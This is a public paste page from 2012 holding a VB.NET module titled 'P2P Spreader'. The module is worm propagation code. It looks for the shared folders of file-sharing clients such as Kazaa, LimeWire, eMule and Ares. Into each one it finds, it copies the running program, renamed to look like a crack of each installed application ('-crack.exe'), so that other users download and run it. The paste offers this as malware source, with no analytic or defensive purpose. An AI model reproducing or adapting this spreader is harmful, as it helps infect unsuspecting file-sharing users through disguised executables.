Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

P2P Spreader

By: LithiumMind on Apr 16th, 2012  |  syntax: VB.NET  |  size: 2.90 KB  |  hits: 191  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Imports System.IO
  2.  
  3. Module P22P
  4.     Public Sub p2p()
  5.         Dim arSharedFolders As New ArrayList()
  6.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyD​ocuments) & "\Downloads")
  7.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyD​ocuments) & "\My Shared Folder")
  8.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyD​ocuments) & "\Shared")
  9.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.App​licationData) & "\Ares\My Shared Folder")
  10.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Des​ktop) & "\Downloads")
  11.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\Shareaza\Downloads")
  12.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\emule\incoming\")
  13.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\kazaa\my shared folder\")
  14.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\kazaa lite\my shared folder\")
  15.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\kazaa lite k++\my shared folder\")
  16.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\icq\shared folder\")
  17.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\grokster\my grokster\")
  18.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\bearshare\shared\")
  19.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\edonkey2000\incoming\")
  20.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\morpheus\my shared folder\")
  21.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\limewire\shared\")
  22.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\tesla\files\")
  23.         arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Pro​gramFiles) & "\winmx\shared\")
  24.  
  25.         Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
  26.         While folder.MoveNext()
  27.             Dim tada As String = Convert.ToString(folder.Current)
  28.             If Directory.Exists(tada) Then
  29.                 Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
  30.                 For Each d As String In Directory.GetDirectories(progDir)
  31.                     Dim app As String = (tada & "\") + d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-crack.exe"
  32.                     File.Copy([me], app, True)
  33.                 Next
  34.             End If
  35.         End While
  36.     End Sub
  37. End Module
create a new version of this paste RAW Paste Data